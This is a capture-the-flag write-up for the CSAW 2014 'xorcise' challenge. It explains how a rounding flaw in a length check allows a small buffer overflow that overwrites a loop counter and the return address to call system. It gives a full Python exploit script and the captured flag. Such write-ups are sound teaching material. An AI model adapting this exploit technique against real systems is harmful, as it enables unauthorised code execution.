xorcise (CSAW 2014 exploiting 500)

We were given a server which allows us to execute certain commands. We noticed a bug in the following code:

```
#define BLOCK_SIZE 8
#define MAX_BLOCKS 16
...
uint8_t buf[MAX_BLOCKS * BLOCK_SIZE];
...
memcpy(buf, data->bytes, sizeof(buf));
if ((data->length / BLOCK_SIZE) > MAX_BLOCKS)
{
    data->length = BLOCK_SIZE * MAX_BLOCKS;
}

for (loop = 0; loop < data->length; loop += 8)
{
    for (block_index = 0; block_index < 8; ++block_index){
        buf[loop+block_index]^=(xor_mask^data->key[block_index]);
    }
}
```

We control data->length and data->key. The loop will loop until the loop variable becomes greater than data->length; thus we are meant to be able to write at most 128 bytes into buf[] which is 128 bytes big.

However, in C integer divisions always round down. So if we let data->length be 135, then data->length/BLOCK_SIZE will be equivalent to 16; thus the length check passes without any problems! Then we can make the loop xor the next 7 bytes after buf. This lets us overwrite the loop variable, and then we can make the statement buf[loop+block_index] xor whatever bytes we want, since we also control data->key.

We let the value of loop+block_index be just such that the 2 LSBs of the return address are XORed. We manipulate them to point to system@plt since system is in the binary. Then, when we return, we ret2system, and the argument to system is the third word on the stack; it happens to point to the beginning of our user input, so we can put our command there! Then we just rewrite fds and easily get a shell.

```
$ python exploit-xorcise.py
flag{code_exec>=crypto_break}
```

```
import socket, struct, time, telnetlib, sys
from cryptolib import *

s = socket.create_connection(("128.238.66.227", 24001))

cmd = "cat flag.txt >&4" + chr(0)
xor_mask = 0x8f
length = 135

key  = chr(0) # xor_mask
key += chr(0)*4 # don't mess up block_index
key += chr( (0x99 - 6) ^ 0x80 )  # make loop+b_i point to ret addr
# overwrite 2 LSBS of ret to get system@plt
key += chr( 0x94 ^ 0x60 )
key += chr( 0x91 ^ 0x87 )

xor_cmd = xor(cmd, key)
xor_cmd = xor(xor_cmd, chr(xor_mask))

payload  = chr(length) + key
payload += xor_cmd
payload += "P"*(length - len(payload))
s.send(payload)

time.sleep(1)

for i in range(10):
    print s.recv(1024)
    sys.stdout.flush()

s.close()
```